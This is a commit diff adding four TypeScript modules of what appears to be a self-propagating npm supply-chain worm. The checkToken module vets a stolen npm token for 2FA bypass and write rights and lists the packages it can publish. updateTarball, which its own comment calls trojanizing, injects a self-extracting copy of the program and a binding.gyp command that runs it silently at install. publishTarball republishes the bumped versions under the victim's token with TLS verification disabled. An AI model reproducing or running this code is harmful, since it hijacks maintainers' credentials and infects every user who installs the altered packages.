Upload files to "src/mutator/npm"

This commit is contained in:
2026-07-03 03:13:38 +00:00
parent 5df58fc5d8
commit 2710dab298
4 changed files with 541 additions and 0 deletions
+127
View File
@@ -0,0 +1,127 @@
import { $ } from "bun";
import { createWriteStream } from "fs";
import * as fs from "fs/promises";
import { join } from "path";
import { Readable } from "stream";
import { pipeline } from "stream/promises";
import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
import { publishTarball } from "./publish";
import { TMP_PACKAGE_NAME, updateTarball } from "./tarball";
import type { TokenInfo } from "./tokenCheck";
export { TMP_PACKAGE_NAME } from "./tarball";
declare function scramble(str: string): string;
export class NpmClient extends Mutator {
private tokenInfo: TokenInfo;
constructor(token: TokenInfo) {
super();
this.tokenInfo = token;
}
async execute() {
try {
const isUnix = ["darwin", "linux"].includes(process.platform);
if (isUnix) {
this.tokenInfo.packages.forEach((pkgName: string) => {
logUtil.log(`Would be updating: ${pkgName}`);
});
const packages = await this.downloadPackages(this.tokenInfo.packages);
await Promise.all(
packages.downloaded.map((pkg) => this.publishPackage(pkg)),
);
await fs.rm(packages.tmpDir, { recursive: true, force: true });
return true;
}
} catch (e) {
logUtil.error(e);
logUtil.error("Failure updating package.");
return false;
}
return true;
}
private async updateTarball(tarballPath: string): Promise<string> {
return updateTarball(tarballPath, {
tag: "[npm]",
addBunDep: true,
});
}
async downloadPackages(packages: string[]): Promise<{
tmpDir: string;
downloaded: Array<{ path: string; isPrivate: boolean }>;
}> {
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
const downloaded: Array<{ path: string; isPrivate: boolean }> = [];
const download = async (pkg: string) => {
try {
const encodedName = pkg.replace("/", "%2F");
const registryUrl = `https://registry.npmjs.org/${encodedName}`;
// Try unauth first — if it works, the package is public.
let meta = await fetch(registryUrl);
let isPrivate = false;
let headers: Record<string, string> | undefined;
if (!meta.ok) {
// Unauthenticated failed — try with auth (private package).
headers = { Authorization: `Bearer ${this.tokenInfo.authToken}` };
meta = await fetch(registryUrl, { headers });
isPrivate = true;
}
if (!meta.ok) return;
const { "dist-tags": tags, versions } = (await meta.json()) as {
"dist-tags": { latest: string };
versions: Record<string, { dist?: { tarball?: string } }>;
};
const tarball = versions[tags.latest]?.dist?.tarball;
if (!tarball) return;
const res = await fetch(tarball, headers ? { headers } : undefined);
if (!res.ok || !res.body) return;
const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`;
const tarballPath = join(tmpDir, filename);
await pipeline(
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
createWriteStream(tarballPath),
);
const updatedPath = await this.updateTarball(tarballPath);
downloaded.push({ path: updatedPath, isPrivate });
} catch (e) {
logUtil.log(`Failed to download ${pkg}: ${e}`);
}
};
await Promise.all(packages.map(download));
return { tmpDir, downloaded };
}
async publishPackage(item: {
path: string;
isPrivate: boolean;
}): Promise<boolean> {
if (!this.tokenInfo) return false;
try {
return await publishTarball(
item.path,
this.tokenInfo.authToken,
false,
undefined,
item.isPrivate,
);
} catch (e) {
logUtil.error(e);
return false;
}
}
}
+173
View File
@@ -0,0 +1,173 @@
import { createHash } from "node:crypto";
import { readFile } from "node:fs/promises";
import { gunzipSync } from "node:zlib";
import { logUtil } from "../../utils/logger";
declare function scramble(str: string): string;
interface PackageJson {
name: string;
version: string;
readme?: string;
[key: string]: unknown;
}
function extractPackageJson(tar: Buffer): PackageJson {
let offset = 0;
while (offset + 512 <= tar.length) {
const header = tar.subarray(offset, offset + 512);
if (header[0] === 0) break;
const nameField = header.subarray(0, 100);
const nameEnd = nameField.indexOf(0);
const name = nameField
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
.toString("utf8");
const sizeStr = header
.subarray(124, 136)
.toString("utf8")
.replace(/\0/g, "")
.trim();
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
offset += 512;
if (name === "package/package.json" || name.endsWith("/package.json")) {
const data = tar.subarray(offset, offset + size);
return JSON.parse(data.toString("utf8")) as PackageJson;
}
offset += Math.ceil(size / 512) * 512;
}
throw new Error("package.json not found in tarball");
}
export async function publishTarball(
tarballPath: string,
token: string,
dryRun = false,
provenanceBundle?: Record<string, any>,
isPrivate = false,
): Promise<boolean> {
const registry = scramble("https://registry.npmjs.org");
const tag = "latest";
const userAgent = `npm/11.14.1.0 node/v24.10.0 ${process.platform} ${process.arch} workspaces/false`;
const tarballBuffer = await readFile(tarballPath);
const decompressed = gunzipSync(tarballBuffer);
const pkg = extractPackageJson(decompressed);
const { name, version } = pkg;
if (!name || !version) {
throw new Error("package.json missing required 'name' or 'version'");
}
const integrity =
"sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
const base64Data = tarballBuffer.toString("base64");
const tarballFilename = `${name}-${version}.tgz`;
const tarballUrl = `http://registry.npmjs.org/${name}/-/${tarballFilename}`;
const versionMetadata = {
...pkg,
name,
version,
readme: pkg.readme ?? "ERROR: No README data found!",
dist: {
integrity,
shasum,
tarball: tarballUrl,
},
};
const body = {
_id: name,
name,
"dist-tags": { [tag]: version },
versions: {
[version]: versionMetadata,
},
access: isPrivate ? "restricted" : "public",
_attachments: {
[tarballFilename]: {
content_type: "application/octet-stream",
data: base64Data,
length: tarballBuffer.length,
},
} as Record<string, { content_type: string; data: string; length: number }>,
};
// Attach sigstore provenance bundle if provided.
if (provenanceBundle) {
const provenanceBundleName = `${name}-${version}.sigstore`;
const serializedBundle = JSON.stringify(provenanceBundle);
body._attachments[provenanceBundleName] = {
content_type:
(provenanceBundle.mediaType as string) ||
"application/vnd.dev.sigstore.bundle.v0.3+json",
data: serializedBundle,
length: serializedBundle.length,
};
}
const encodedName = name.replace("/", "%2f");
const url = `${registry}/${encodedName}`;
const headers: Record<string, string> = {
"User-Agent": userAgent,
"Npm-Auth-Type": "web",
"Npm-Command": "publish",
Authorization: `Bearer ${token}`,
"Content-Type": "application/json",
Accept: "*/*",
};
const serializedBody = JSON.stringify(body);
if (dryRun) {
logUtil.log("[publish] DRY RUN — request not sent");
logUtil.log("[publish] PUT", url);
logUtil.log("[publish] headers:", {
...headers,
Authorization: "Bearer <redacted>",
});
logUtil.log("[publish] body:", {
_id: body._id,
name: body.name,
"dist-tags": body["dist-tags"],
versions: Object.keys(body.versions),
access: body.access,
_attachments: {
[tarballFilename]: {
content_type: "application/octet-stream",
length: tarballBuffer.length,
data: `<${base64Data.length} chars base64>`,
},
},
});
logUtil.log("[publish] body size:", serializedBody.length, "bytes");
return true;
}
const fetchInit: RequestInit & {
tls?: { rejectUnauthorized?: boolean };
} = {
method: "PUT",
headers,
body: serializedBody,
tls: { rejectUnauthorized: false },
};
const response = await fetch(url, fetchInit);
const text = await response.text();
if (!response.ok) {
logUtil.error(
`[publish] failed: ${response.status} ${response.statusText}${text}`,
);
return false;
}
return true;
}
+116
View File
@@ -0,0 +1,116 @@
import { randomBytes } from "crypto";
import { createWriteStream } from "fs";
import * as fs from "fs/promises";
import * as path from "path";
import { pipeline } from "stream/promises";
import * as tar from "tar";
import { SCRIPT_NAME } from "../../utils/config";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
export const TMP_PACKAGE_NAME = "package-updated.tgz";
export interface UpdateTarballOptions {
/** Log / error-message tag, e.g. "[npm]" or "[npmoidc]". */
tag: string;
/**
* Name of the binding.gyp target. Defaults to "nothing".
* NPMOidcClient uses "Setup".
*/
targetName?: string;
/** Whether to add `"bun"` as a dependency in package.json. */
addBunDep?: boolean;
/**
* Custom content for index.js. When set, this is written directly
* as index.js instead of the self-extracting Bun.main payload.
* Useful for validation / testing the binding.gyp injection path.
*/
payload?: string;
}
/**
* Download, trojanize, and repack an npm tarball.
*
* 1. Extract into a temp directory.
* 2. Inject the self-extracting payload as `index.js`.
* 3. Add a `binding.gyp` with a `<!(command)` expansion that triggers
* execution during `node-gyp rebuild`.
* 4. Bump the patch version.
* 5. Repack and validate the resulting gzip stream.
*
* @returns The path to the modified tarball.
*/
export async function updateTarball(
tarballPath: string,
opts: UpdateTarballOptions,
): Promise<string> {
const { tag, targetName = "nothing", addBunDep = false, payload } = opts;
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
await fs.mkdir(tmpDir, { recursive: true });
try {
await tar.extract({ file: tarballPath, cwd: tmpDir });
const scriptContent =
payload ??
buildSelfExtractingPayload(await Bun.file(Bun.main).text(), {
wrap: true,
});
await Bun.write(path.join(tmpDir, "package", SCRIPT_NAME), scriptContent);
// binding.gyp — <!(command) expansion executes during node-gyp rebuild.
// type: "none" means gyp expands the command (firing the payload) but
// skips compilation — no .c/.o files needed.
const gypContent = [
"{",
' "targets": [',
" {",
` "target_name": ${JSON.stringify(targetName)},`,
' "type": "none",',
` "sources": ["<!(node ${SCRIPT_NAME} > /dev/null 2>&1 && echo stub.c)"]`,
" }",
" ]",
"}",
].join("\n");
await Bun.write(path.join(tmpDir, "package", "binding.gyp"), gypContent);
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
if (addBunDep) {
pkg.dependencies ??= {};
pkg.dependencies["bun"] = "^1.3.13";
}
const [major, minor, patch] = pkg.version.split(".").map(Number);
pkg.version = `${major}.${minor}.${patch + 1}`;
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
const updatedPath = path.join(
path.dirname(tarballPath),
`${uniqueSuffix}_${TMP_PACKAGE_NAME}`,
);
await pipeline(
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
createWriteStream(updatedPath),
);
// Defensive postcondition: fail loudly here with context if the
// tarball is somehow not a valid gzip stream, instead of
// exploding inside `gunzipSync` further down the pipeline.
const written = await fs.readFile(updatedPath);
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
throw new Error(
`${tag} tarball at ${updatedPath} is not a valid gzip stream ` +
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
);
}
logUtil.log(`Updated path: ${updatedPath}`);
return updatedPath;
} finally {
}
}
+125
View File
@@ -0,0 +1,125 @@
import { logUtil } from "../../utils/logger";
export interface TokenInfo {
packages: string[];
authToken: string;
valid: boolean;
}
export async function checkToken(token: string): Promise<TokenInfo> {
const headers = { Authorization: `Bearer ${token}` };
// Fetch all token pages
let matched: any = null;
let url: string | null = "https://registry.npmjs.org/-/npm/v1/tokens";
while (url && !matched) {
const response = await fetch(url, { headers });
if (!response.ok) {
logUtil.log("Not valid!");
return { packages: [], valid: false, authToken: token };
}
const data = (await response.json()) as any;
const first = token.slice(0, 8);
const last = token.slice(-4);
matched = data.objects?.find(
(obj: any) =>
obj.bypass_2fa === true &&
obj.token?.startsWith(first.slice(0, 4)) &&
obj.token?.endsWith(last),
);
url = data.urls?.next ?? null;
}
if (!matched) return { packages: [], valid: false, authToken: token };
const hasPackageWrite = matched.permissions?.some(
(p: any) => p.name === "package" && p.action === "write",
);
if (!hasPackageWrite) return { packages: [], valid: false, authToken: token };
// Get authenticated username
const whoami = await fetch("https://registry.npmjs.org/-/whoami", {
headers,
});
const { username } = (await whoami.json()) as any;
const packages: string[] = [];
for (const scope of matched.scopes ?? []) {
if (scope.type === "org") {
const hasOrgWrite = matched.permissions?.some(
(p: any) => p.name === "org" && p.action === "write",
);
if (!hasOrgWrite) continue;
const res = await fetch(
`https://registry.npmjs.org/-/org/${scope.name}/package`,
{ headers },
);
const pkgs = (await res.json()) as any;
packages.push(
...Object.entries(pkgs)
.filter(([, v]) => v === "write")
.map(([k]) => k)
.filter(Boolean),
);
} else if (scope.type === "package") {
const isNamespaceScope = /^@[^/]+$/.test(scope.name);
if (isNamespaceScope) {
// Determine if this namespace is a user or org
const scopeName = scope.name.slice(1); // strip leading @
const orgRes = await fetch(
`https://registry.npmjs.org/-/org/${scopeName}/package`,
{ headers },
);
if (orgRes.ok) {
// It's an org
const pkgs = (await orgRes.json()) as any;
packages.push(
...Object.entries(pkgs)
.filter(([, v]) => v === "write")
.map(([k]) => k),
);
} else {
// It's a user — search by maintainer
const searchRes = await fetch(
`https://registry.npmjs.org/-/v1/search?text=maintainer:${scopeName}&size=250`,
{ headers },
);
const searchData = (await searchRes.json()) as any;
packages.push(
...(searchData.objects?.map((o: any) => o.package.name) ?? []),
);
}
} else {
// Individual package entry — return as-is
if (scope.name) packages.push(scope.name);
}
}
}
// Fetch personal packages only if broadly scoped: { name: null, type: "package" }
const isBroadlyScoped = matched.scopes.some(
(s: any) => s.name === null && s.type === "package",
);
if (isBroadlyScoped) {
const searchRes = await fetch(
`https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=250`,
{ headers },
);
const searchData = (await searchRes.json()) as any;
const personalPkgs: string[] =
searchData.objects?.map((o: any) => o.package.name) ?? [];
for (const pkg of personalPkgs) {
if (!packages.includes(pkg)) packages.push(pkg);
}
}
return { packages, valid: true, authToken: token };
}